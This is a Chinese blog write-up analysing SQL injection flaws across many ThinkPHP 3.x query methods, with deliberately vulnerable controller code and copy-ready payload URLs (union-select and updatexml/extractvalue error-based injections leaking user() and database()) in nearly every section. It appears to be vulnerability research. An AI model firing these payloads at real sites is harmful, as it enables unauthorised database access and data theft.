vlambda博客
学习文章列表

最全thinkphp 3.x sql注入分析


1.1where注入

入口:

public function index($id=1){$name = D('User')->where('id='.$id)->find();print_r($name);$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 where SQL注入</h2><p></p>');}




最全thinkphp 3.x sql注入分析

老样子,直接跳过D方法

进入find方法:


最全thinkphp 3.x sql注入分析


可以发现option中没有我们要的内容,我们进行调试看看内容是从那里得到的


最全thinkphp 3.x sql注入分析


进入_parseOpetions函数


最全thinkphp 3.x sql注入分析


可以看到,这里将两个数组进行了拼接


最全thinkphp 3.x sql注入分析


再次来到select函数,但是where相比之前find方法的sql,where变成了数组,而非字符串,因此后面调用中应该会在不同的条件


最全thinkphp 3.x sql注入分析


来到buildSelectSql函数


最全thinkphp 3.x sql注入分析
最全thinkphp 3.x sql注入分析


进入parseSql,在这里我们就直接分析parseWhere函数了,因为options我们没法像find函数sql注入一样,通过控制options来执行其他的函数


最全thinkphp 3.x sql注入分析


进入parseWhere函数


最全thinkphp 3.x sql注入分析


进入parseThinkWhere函数:


最全thinkphp 3.x sql注入分析


再看返回值:


最全thinkphp 3.x sql注入分析


可以发现在两边使用了()合并
因此最终形成的sql语句为:


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析

payload:

http://localhost/?id=-1)%20union%20(select%201,2,user()

当然当没有回显时,可以使用报错注入:


最全thinkphp 3.x sql注入分析

payload:

http://localhost/?id=1)%20and%201=(updatexml(1,concat(0x7e,user(),0x73),1)


1.2 exp注入

public function index(){$User = D('User');$user = $User->where($_GET['id'])->find();var_dump($user);}



where注入和exp注入的区别在于,exp中的where函数内容必须完全可控,因为需要传入二维数组


最全thinkphp 3.x sql注入分析

进入where函数


最全thinkphp 3.x sql注入分析

where函数执行后,进入find函数


最全thinkphp 3.x sql注入分析

在这里只关心:


最全thinkphp 3.x sql注入分析


进入_parseOptions函数:


最全thinkphp 3.x sql注入分析

作用就是拼接数组并返回给$options


最全thinkphp 3.x sql注入分析
可以明显看到区别,find注入$options为字符串,而where注入$options为一维数组,在这里exp注入$options为二维数组
可以想象,后面执行的流程一定会有区别
_parseOptions函数执行完后,进入select函数:
最全thinkphp 3.x sql注入分析
依旧是这个地方生成sql语句,重点关注,进入buildSelectSql
最全thinkphp 3.x sql注入分析
进入parseSql:
最全thinkphp 3.x sql注入分析
又回到拼接的位置了
和where注入一样,只能控制$options[where],因此直接看parseWhere函数:
最全thinkphp 3.x sql注入分析
重点关注这个地方,因为只有在这里才汇编$whereStr和$options的内容,这里可以自己观察


进入parseWhereItem函数
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
没有任何作用,跳过,进入parseWhereItem函数
最全thinkphp 3.x sql注入分析
在这里将$exp赋值为exp,为后面语句执行创造了条件
最全thinkphp 3.x sql注入分析
最终在这里进行了拼接:
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
最后返回的内容也没有发生变化

最全thinkphp 3.x sql注入分析

paylaod:

http://127.0.0.1/index.php?id[Id][0]=exp&id[Id][1]==-1%20union%20select%201,2,database()


值得注意的是当客户端使用的I函数来进行获取参数是就无法sql注入了
最全thinkphp 3.x sql注入分析
下面分析原因:
直接来到I方法
最全thinkphp 3.x sql注入分析


public function index(){$User = D('User');$user = $User->where(I('get.id'))->find();var_dump($user);}


最全thinkphp 3.x sql注入分析

下面分析原因:
直接来到I方法
关键在于倒数第二句


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
最后导致parseWhereItem中条件匹配不了
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析

最后触发报错


1.3 bind注入

public function index(){$User = M("User");$user['Id'] = I('id');$data['password'] = I('password');$valu = $User->where($user)->save($data);var_dump($valu);}


进入where方法:
最全thinkphp 3.x sql注入分析
进入save方法:
最全thinkphp 3.x sql注入分析

重点在update方法:
最全thinkphp 3.x sql注入分析

在这里生成结果
进入update方法:
重点在于这个sql语句如何构造,因此直接看sql这个变量经过了那些处理

最全thinkphp 3.x sql注入分析
进入parseSet方法
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
构造完成的语句,:0相当于一个占位符,后面会被替换成另外一部分sql语句
最全thinkphp 3.x sql注入分析
明显是生成了sql语句的前半段
进入parswhere方法:
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
记住这里的$val后面还会用到
最全thinkphp 3.x sql注入分析
返回值与whereStr这个变量,我们直接分析whereStr这个变量的变化就行
最全thinkphp 3.x sql注入分析
直接看这里,其他都不满足条件没有运行
进入parseWhereItem方法:
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
直到这里已经形成了sql语句的后半段
parswhere的返回值
最全thinkphp 3.x sql注入分析
然后就组装成里一个完整的sql语句,后面就只需要替换 0: 就行
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
在return之前sql语句都没有变化,那说明在最后return的时候将sql语句进行了处理
最全thinkphp 3.x sql注入分析
进入execute方法:
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析


$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that)return '\''.$that->escapeString($val).'\''; },$this->bind));


最全thinkphp 3.x sql注入分析


在这里用的是数组,下面给了一个例子
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
最终效果:
就是将:0转换成""
最全thinkphp 3.x sql注入分析

paylaod:

http://127.0.0.1/index.php?id[0]=bind&id[1]=0%20and%20updatexml(1%2cconcat(0x7%2cuser()%2c0x7e)%2c1)


1.4 select/delet注入


select/delet和find注入原理是一样的:


只是delet需要使用报错注入


public function index($id=1){//$name = D('User')->find($id);// $name = D('User')->select($id);$name = D('User')->delete($id);print_r($name);$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 find SQL注入</h2><p></p>');
}


1.5 find注入


最全thinkphp 3.x sql注入分析
第一步:
先分析用where数组实现sql注入的执行流程:(当然漏洞步骤where数组这一处)

public function index($id=1){$name = D('User')->find($id);print_r($name);$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 where SQL注入</h2><p></p>');}


这里打印出了数据库名


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
第二步:

找到漏洞触犯点,缩小位置:
进入函数:
最全thinkphp 3.x sql注入分析
进入了D函数,但我们找到,D函数是实例化一个对象,因此本身和sql注入没太大关系,直接跳过
最全thinkphp 3.x sql注入分析
跳过D函数后,来到了find函数:
最全thinkphp 3.x sql注入分析
find函数可以传入数组,这十分关键,继续再find函数中找漏洞点
最全thinkphp 3.x sql注入分析
可以看到有一个resultst的变量,很可能是sql执行的结果,且还会处理options这个数组,可能性很大
最全thinkphp 3.x sql注入分析
可以看到buildselectsql函数也回处理options数组,而且顾名思义应该是构建sql语句的地方,我们都知道sql注入也就是改变sql的语法结果,因此这应该是十拿九稳了
最全thinkphp 3.x sql注入分析
可以看到这个已经生成了一个名为sql的变量,跟进这个方法
最全thinkphp 3.x sql注入分析
可以发现这个str_replace函数的参数可以为数组
最全thinkphp 3.x sql注入分析
这里我们再看看这个$sql的初始值,这里就tp的sql执行流程其实就一目了然了,就是将每一个sql语法位置进行替换成完整的sql语法
最全thinkphp 3.x sql注入分析
分析函数:
最全thinkphp 3.x sql注入分析
1.parseTable函数分析:
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
我们知道php可以用数组传参数,当然也可以使用二维数组,实验如下:
最全thinkphp 3.x sql注入分析
因此这里我们parseTable的返回值我们就可以控制了:
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
在这里我们并没有使用where也能进行sql注入,说明parseTable函数也存在漏洞


payload:

http://localhost/?id[table][user%20where%201%3d2%20union%20select%201%2cdatabase()]=,3


2.parseDistinct

接着我们分析parseDistinct函数:


最全thinkphp 3.x sql注入分析
可以看到已经被三元表达式写死了,因此parseDistinct不存在漏洞

3.parseField
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
依旧可控


payload:

http://localhost/?id[field][database()]=#


最全thinkphp 3.x sql注入分析


看到这个payload就感觉更离谱了这都行。。。。。

至于这个语法结构怎么爆数据,本地测试就明白了

最全thinkphp 3.x sql注入分析


4.parseJoin:

最全thinkphp 3.x sql注入分析
老样子,依旧可控
最全thinkphp 3.x sql注入分析

payload:

http://localhost/?id[join][naihe]=where%201=2%20union%20select%201,database(),2


5.parseWhere:
最全thinkphp 3.x sql注入分析
最全thinkphp 3.x sql注入分析
过滤都无效:
最全thinkphp 3.x sql注入分析
当使用数组传参时会直接将数据进行拼接
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析


http://localhost/?id[where]=id%3d-1%20union%20select%20database()


最全thinkphp 3.x sql注入分析

6.parseGroup


最全thinkphp 3.x sql注入分析

payload:

http://127.0.0.1/index.php?id[group]=id%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)


最全thinkphp 3.x sql注入分析

7.arseHaving


最全thinkphp 3.x sql注入分析
最全thinkphp 3.x sql注入分析

payload:

http://127.0.0.1/index.php?id[having]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)


最全thinkphp 3.x sql注入分析


8.parseOrder


最全thinkphp 3.x sql注入分析
返回值可控


payload:

http://127.0.0.1/index.php?id[order]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)


最全thinkphp 3.x sql注入分析
9.parseLimit
最全thinkphp 3.x sql注入分析
看似可控,但是由于在find函数中已经写死了limit的数值因此不可控
最全thinkphp 3.x sql注入分析

10.parseUnion


最全thinkphp 3.x sql注入分析
可使用二维数组:

payload:

http://127.0.0.1/index.php?id[union][0]=select%201,2,updatexml(1,concat(0x7e,user(),0x7e),1)%23


最全thinkphp 3.x sql注入分析

11.parseLock


最全thinkphp 3.x sql注入分析
无法利用


12.parseComment


最全thinkphp 3.x sql注入分析
最全thinkphp 3.x sql注入分析
看似无法利用,其实limit后面还可以跟其他语句
利用procedure analyse来进行注入,只能使用extractvalue 和 benchmark。可以进行报错注入

最全thinkphp 3.x sql注入分析

payload:

localhost/?id[comment]=*/ procedure analyse(extractvalue(rand(),concat(0x3a,user())),1) /*


最全thinkphp 3.x sql注入分析



13.parseForce


最全thinkphp 3.x sql注入分析
最全thinkphp 3.x sql注入分析
最全thinkphp 3.x sql注入分析

写死了,无法利用


总结:
最全thinkphp 3.x sql注入分析



1.6 order by注入


public function index(){
$data = D('user')->order(I('action'))->select();
var_dump($data);
}


最全thinkphp 3.x sql注入分析

payload:

http://127.0.0.1/index.php?action[updatexml(1,concat(0x3a,user()),1)]

前面分析和find注入一样


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
最全thinkphp 3.x sql注入分析


1.7 alias,join,union,order,group,having,comment方法注入

1.group

public function index(){$data = D('user')->group(I('action'))->select();var_dump($data);}


最全thinkphp 3.x sql注入分析

payload:

http://127.0.0.1/index.php?action=(1=updatexml(1,concat(0x7e,user(),0x7e),1))


先看__call方法
最全thinkphp 3.x sql注入分析


将$this->options[group]赋值为(1=updatexml(1,concat(0x7e,user(),0x7e),1))


直接进入select方法:
最全thinkphp 3.x sql注入分析
重点:
最全thinkphp 3.x sql注入分析
进入_parseOptions
最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
后面紧接着的就是select方法
最全thinkphp 3.x sql注入分析
在这里可以看到$options已经变成了数组,且内容为group="(1=updatexml(1,concat(0x7e,user(),0x7e),1))"
后面的分析就和之前的find九类注入分析一样了,因为后面的流程一样,可以参照find的group注入


2.order


public function index(){$data = D('user')->order(I('action'))->select();var_dump($data);}

payload:

http://127.0.0.1/index.php?action=(1=updatexml(1,concat(0x7e,user(),0x7e),1))


3.having


public function index(){$data = D('user')->having(I('action'))->select();var_dump($data);}

payload:

http://127.0.0.1/index.php?action=(1=updatexml(1,concat(0x7e,user(),0x7e),1))


4.union


public function index(){$data = D('user')->union(I('action'))->select();var_dump($data);}

payload:

http://127.0.0.1/index.php?action=(select%201,2,updatexml(1,concat(0x7e,user(),0x7e),1))


5.join

public function index(){$data = D('user')->join(I('action'))->select();var_dump($data);}

payload:

http://127.0.0.1/index.php?action=(select%201,2,updatexml(1,concat(0x7e,user(),0x7e),1))a


6.alias

public function index(){$data = D('user')->alias(I('action'))->select();var_dump($data);}

payload:

http://127.0.0.1/index.php?action=where%201=updatexml(1,concat(0x7e,user(),0x7e),1)


7.comment

public function index(){$data = D('user')->comment(I('action'))->select();var_dump($data);}

payload:

http://127.0.0.1/index.php?action=*/%20procedure%20analyse(extractvalue(rand(),concat(0x3a,user())),1)%20/*


8.聚合方法

public function index(){$data = M('user')->count(I('count'));dump($data);

payload:

http://127.0.0.1/?count=id,user()

最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析

处count以外max、min、avg、sum原理基本一样


9.setInc


public function index(){$User =D(user);$User->where('Id=1')->setInc('password',I('add'));}

payload

http://127.0.0.1/?add=123%20-%20updatexml(1,concat(0x7e,user()),1)


最全thinkphp 3.x sql注入分析


最全thinkphp 3.x sql注入分析
后面的分析和exp注入差不多


往期推荐